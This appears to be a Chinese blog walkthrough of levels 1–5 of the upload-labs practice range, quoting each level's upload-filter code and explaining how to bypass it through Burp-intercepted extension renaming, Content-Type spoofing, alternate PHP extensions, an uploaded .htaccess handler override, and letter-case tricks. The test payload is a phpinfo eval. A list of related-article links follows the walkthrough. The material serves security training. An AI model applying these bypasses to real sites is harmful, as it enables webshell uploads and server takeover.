介绍

大部分的网站和应用系统都有上传功能,而程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

在线靶机地址:

  • linux环境
  • windows环境

Pass-01

​ 尝试上传php木马,发现提示上传错误

​ 提示只能上传jpg、png、gif类型的图片。查看源码发现是一个前端的后缀过滤,那么我们尝试绕过前端的JS代码。

​ 源码:

function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}
}

​ 把文件后缀名改成jpg格式上传,使用burp suit抓包。把.jpg后缀重新改为.php即可实现绕过前端JS代码。

​ 然后右键打开图片,代码成功执行。完工

​ 注:后面题目的php代码都使用2333.php

<?php eval(phpinfo());

​ 执行结果是打印出php版本信息。

Pass-02

​ 源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}

​ 发现文件判断是根据image/jpeg、image/png...进行过滤判定,这些值都是Http请求中的Content-Type常见的值,通常浏览网页中各种各样的文件类型的就是通过它判断。那么这道题的目标就是绕过它。贴一个我参考值种类的博客:Http请求中Content-Type。

​ 同样是burp抓包修改Content-Type的值。

​ 打开图片,php代码成功执行。完工

Pass-03

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

​ 发现只过滤了.asp、.aspx、.php、.jsp文件,那么可以使用php3、phtml、phps、php5文件绕过过滤,并执行语句。通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;而php3,我的理解是php之前版本的文件后缀,如php5

​ 直接把2333.php改为2333.php3上传打开,执行成功。完工

Pass-04

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

​ 好家伙,这次直接一大堆文件都被过滤了,几乎有问题的都在数组里。发现没有.htaccess文件过滤,所以上传一个.htaccess文件内容如下:

SetHandler application/x-httpd-php

​ 原理的话我讲一下个人的见解:.htaccess文件是一个apache服务器的配置文件,它的作用就是对于该目录下的所有文件都需要符合这个配置文件。然后上传的文件内容作用是:所有文件访问时都会解析为php。参考的博客:htaccess使用方法介绍。

​ 接下来上传2333.jpg图片木马,再打开就会被成功解析为php文件并执行:

​ 完工

Pass-05

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

​ 细心的话可以发现,这道题的源码中在末尾添加了.htaccess文件过滤,但是也少了一条语句

$file_ext = strtolower($file_ext); //转换为小写

目标就很明确了,直接使用大小写绕过过滤。

​ 打开图片成功执行。完工

Upload-Labs(1-5)相关推荐

  1. Upload labs

    Pass -01(js检查) 题目基于前端js过滤,只能上传图片格式的文件,所以我们用一句话木马,改后缀上传后,用burp抓包,修改文件后缀为php,然后用蚁剑连接, 注意: 文件没有上传在具体题目中 ...

  2. (白帽子学习笔记)前渗透——文件上传upload labs

    读者需知 1.本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任 2.本文参考了一些文章,如有侵权请联系本人删除 第一关--前端验证 1.将浏览器中的JS代码禁 ...

  3. upload -labs通关解析及上传类型总结和思考

    Pass-01(客户端JS绕过) 客户端JS判断方法:上传一个php文件,用bp抓包,如果没抓到包就弹框说不能上传,就说明是客户端JS检测 客户端JS绕过方法: 方法一: 上传一个图片马格式为jpg, ...

  4. Upload LABS Pass-11

    第十一关在服务端使用了白名单 , 但文件保存路径外漏 , 可以使用00截断 准备一个 11.php 文件 , 内容为一句话木马 <?php eval($_POST[-7]);?> 上传 1 ...

  5. Upload LABS Pass-10

    第十关在后端使用了黑名单 , 将匹配到的后缀名替换为空,使文件不能使用 , 但其只过滤了一遍 , 我们可以使用双写后缀名的方式绕过黑名单 准备一个 10.pphphp 文件 , 内容为一句话木马 &l ...

  6. Upload LABS Pass-9

    第九关在后端使用了黑名单,并过滤了大小写,空格,点以及数据流 , 但未对文件重命名并且只过滤了一遍点和空格 , 我们在文件后缀名添加 点空格点 , 来绕过黑名单 准备一个 9.php 文件 , 内容为 ...

  7. Upload LABS Pass-8

    第八关在后端使用了黑名单 , 并过滤了大小写,点以及空格 , 但并未过滤数据流 , 我们使用代理拦截请求,在文件后缀名中添加数据流,绕过黑名单 准备一个 8.php 文件 , 内容为一句话木马 < ...

  8. Upload LABS Pass-7

    第七关在后端使用了黑名单 , 并过滤了大小写,空格 , 但未过滤点 , 我们使用代理拦截请求,将后缀名添加点. , 来绕过黑名单 准备一个 7.php 文件 , 内容为一句话木马 <?php e ...

  9. Upload LABS Pass-6

    第六关在后端使用了黑名单 , 并过滤了大小写和点 , 但未过滤空格 , 我们使用代理抓包在后缀名中添加空格,即可绕过黑名单 准备一个 6.php 文件 , 内容为一句话木马 <?php eval ...

  10. Upload LABS Pass-5

    第五关在后端使用了黑名单 , 并过滤了空格,点 , 但未过滤大小写 , 我们修改文件后缀大小写来绕过黑名单 准备一个 5.PHP 文件 , 内容为一句话木马 <?php eval($_POST[ ...

最新文章

  1. javascript(js)的小数点乘法除法问题
  2. 你所不知道的setTimeout
  3. AI单挑Dota 2世界冠军:被电脑虐哭……
  4. jpa java.util.map_使用JPA存储Map String,String
  5. Docker技术入门与实战
  6. url动态追加参数_url设置的注意事项有哪些?
  7. 用mysql web建立论坛_在web1上搭建Discuz论坛
  8. 小甲鱼python课后题答案_小甲鱼python课后习题总结
  9. 极速office(Word)如何插入分数
  10. 原生JS实现的跳一跳小游戏完整实例
  11. 自定义点击弹出设置百度商桥
  12. 粗略的了解Javascript
  13. APP开发的需求分析
  14. 根据url动态生成二维码
  15. unraid个人服务器使用指南——持续更新中
  16. Docker安装部署及使用
  17. kudu教程(一)——简介
  18. HALCON数组的插入和删除
  19. 程序员的好代码长什么模样?
  20. Qt属性动画仿真QPropertyAnimation的使用

热门文章

  1. MySQL—常用指令总结
  2. Git—代码管理、提交及冲突解决流程的思考
  3. Linux在U盘安装python的过程详解
  4. 自定义播放器 winform
  5. ktv登陆功能的实现 1216
  6. 单例模式 c# 1214
  7. java演练 循环嵌套 菱形图案的打印 四个阶段完成输出
  8. linux-vim-文本编辑
  9. python-教学管理系统-开发流程 草稿
  10. 索引-前端技术-pyhui版